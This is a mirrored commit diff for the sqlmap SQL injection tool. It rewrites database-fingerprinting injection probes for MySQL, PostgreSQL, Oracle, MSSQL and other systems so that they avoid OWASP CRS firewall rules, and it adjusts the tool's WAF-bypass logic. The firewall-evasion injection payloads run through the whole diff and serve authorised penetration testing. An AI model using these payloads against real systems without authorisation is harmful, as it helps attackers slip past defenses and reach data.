mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-11 22:19:55 +00:00
Adding more WAF friendly fingerprinting payloads
This commit is contained in:
@@ -42,17 +42,19 @@ def action():
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
|
||||
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
|
||||
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms:
|
||||
setHandler()
|
||||
|
||||
# automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
|
||||
# first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
|
||||
# the error page or the heuristic checks, so that the user still gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
|
||||
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
|
||||
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
|
||||
if fallback:
|
||||
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
|
||||
logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
|
||||
conf.forceDbms = fallback
|
||||
|
||||
setHandler()
|
||||
setHandler()
|
||||
|
||||
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
|
||||
# before nudging the user towards a channel that reads several characters per request (no requests)
|
||||
@@ -64,8 +66,9 @@ def action():
|
||||
|
||||
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
|
||||
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
|
||||
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
|
||||
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
|
||||
# * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
|
||||
# rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
|
||||
# with "no tables",
|
||||
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
|
||||
# ORD/MID function names scored by 942151/942190);
|
||||
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
|
||||
|
||||
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.39"
|
||||
VERSION = "1.10.8.40"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
||||
@@ -72,9 +72,11 @@ class Fingerprint(GenericFingerprint):
|
||||
retVal = None
|
||||
table = (
|
||||
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
|
||||
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
|
||||
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
|
||||
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
|
||||
# Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted
|
||||
# by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept
|
||||
("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)),
|
||||
("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)),
|
||||
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")),
|
||||
("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
|
||||
("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
|
||||
)
|
||||
|
||||
@@ -93,7 +93,7 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "confirming %s" % DBMS.H2
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
|
||||
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
|
||||
|
||||
@@ -99,7 +99,7 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "confirming %s" % DBMS.HSQLDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
|
||||
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
|
||||
|
||||
@@ -91,9 +91,9 @@ class Fingerprint(GenericFingerprint):
|
||||
for version, check in (
|
||||
("Azure", "@@VERSION LIKE '%Azure%'"),
|
||||
("2025", "CHARINDEX('17.0.',@@VERSION)>0"),
|
||||
("2022", "GREATEST(NULL,NULL) IS NULL"),
|
||||
("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST()
|
||||
("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
|
||||
("2017", "TRIM(NULL) IS NULL"),
|
||||
("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM()
|
||||
("2016", "ISJSON(NULL) IS NULL"),
|
||||
("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
|
||||
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
|
||||
|
||||
@@ -72,7 +72,8 @@ class Fingerprint(GenericFingerprint):
|
||||
|
||||
found = False
|
||||
for candidate in versions:
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0])
|
||||
# Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500)
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0])
|
||||
|
||||
if not result:
|
||||
found = True
|
||||
@@ -81,7 +82,7 @@ class Fingerprint(GenericFingerprint):
|
||||
if found:
|
||||
for version in xrange(candidate[1], candidate[0] - 1, -1):
|
||||
version = getUnicode(version)
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version)
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version)
|
||||
|
||||
if not result:
|
||||
if version[0] == "3":
|
||||
@@ -119,6 +120,8 @@ class Fingerprint(GenericFingerprint):
|
||||
fork = FORK.DORIS
|
||||
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"):
|
||||
fork = FORK.STARROCKS
|
||||
elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: MemSQL is the only one of the forks without SESSION_USER()
|
||||
fork = FORK.MEMSQL
|
||||
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
|
||||
fork = FORK.AURORA
|
||||
else:
|
||||
@@ -200,20 +203,14 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "testing %s" % DBMS.MYSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL")
|
||||
# Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151)
|
||||
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.MYSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
# Note: MemSQL doesn't support SESSION_USER()
|
||||
result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)
|
||||
result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
|
||||
@@ -227,19 +224,20 @@ class Fingerprint(GenericFingerprint):
|
||||
kb.data.has_information_schema = True
|
||||
|
||||
# Determine if it is MySQL >= 9.0.0
|
||||
if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"):
|
||||
if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 9.0.0")
|
||||
setDbms("%s 9" % DBMS.MYSQL)
|
||||
self.getBanner()
|
||||
|
||||
# Determine if it is MySQL >= 8.0.0
|
||||
elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
|
||||
elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 8.0.0")
|
||||
setDbms("%s 8" % DBMS.MYSQL)
|
||||
self.getBanner()
|
||||
|
||||
# Determine if it is MySQL >= 5.0.0
|
||||
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
|
||||
# Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD()
|
||||
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
|
||||
Backend.setVersion(">= 5.0.0")
|
||||
setDbms("%s 5" % DBMS.MYSQL)
|
||||
self.getBanner()
|
||||
@@ -251,11 +249,11 @@ class Fingerprint(GenericFingerprint):
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Check if it is MySQL >= 5.7
|
||||
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
|
||||
if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 5.7")
|
||||
|
||||
# Check if it is MySQL >= 5.6
|
||||
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
|
||||
elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 5.6")
|
||||
|
||||
# Check if it is MySQL >= 5.5
|
||||
@@ -339,7 +337,7 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))")
|
||||
result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID()
|
||||
|
||||
if result:
|
||||
Backend.setOs(OS.WINDOWS)
|
||||
|
||||
@@ -126,7 +126,8 @@ class Fingerprint(GenericFingerprint):
|
||||
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
|
||||
for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
|
||||
number = int(re.search(r"([\d]+)", version).group(1))
|
||||
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
|
||||
# Note: prefix matching instead of the blacklisted SUBSTR()
|
||||
output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number)
|
||||
|
||||
if output:
|
||||
Backend.setVersion(version)
|
||||
|
||||
@@ -118,7 +118,8 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "confirming %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]")
|
||||
# Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE()
|
||||
result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
|
||||
@@ -142,7 +143,7 @@ class Fingerprint(GenericFingerprint):
|
||||
Backend.setVersion(">= 16.0")
|
||||
elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 15.0")
|
||||
elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
|
||||
elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT()
|
||||
Backend.setVersion(">= 14.0")
|
||||
elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"):
|
||||
Backend.setVersion(">= 13.0")
|
||||
@@ -154,7 +155,7 @@ class Fingerprint(GenericFingerprint):
|
||||
Backend.setVersionList([">= 10.0", "< 11.0"])
|
||||
elif inject.checkBooleanExpression("SIND(0)=0"):
|
||||
Backend.setVersionList([">= 9.6.0", "< 10.0"])
|
||||
elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
|
||||
elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB()
|
||||
Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
|
||||
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
|
||||
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
|
||||
|
||||
@@ -106,7 +106,8 @@ class Fingerprint(GenericFingerprint):
|
||||
Backend.setVersion(str(result))
|
||||
else:
|
||||
for version in xrange(12, 16):
|
||||
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
|
||||
# Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130)
|
||||
result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version))
|
||||
|
||||
if result:
|
||||
Backend.setVersion(str(version))
|
||||
|
||||
Reference in New Issue
Block a user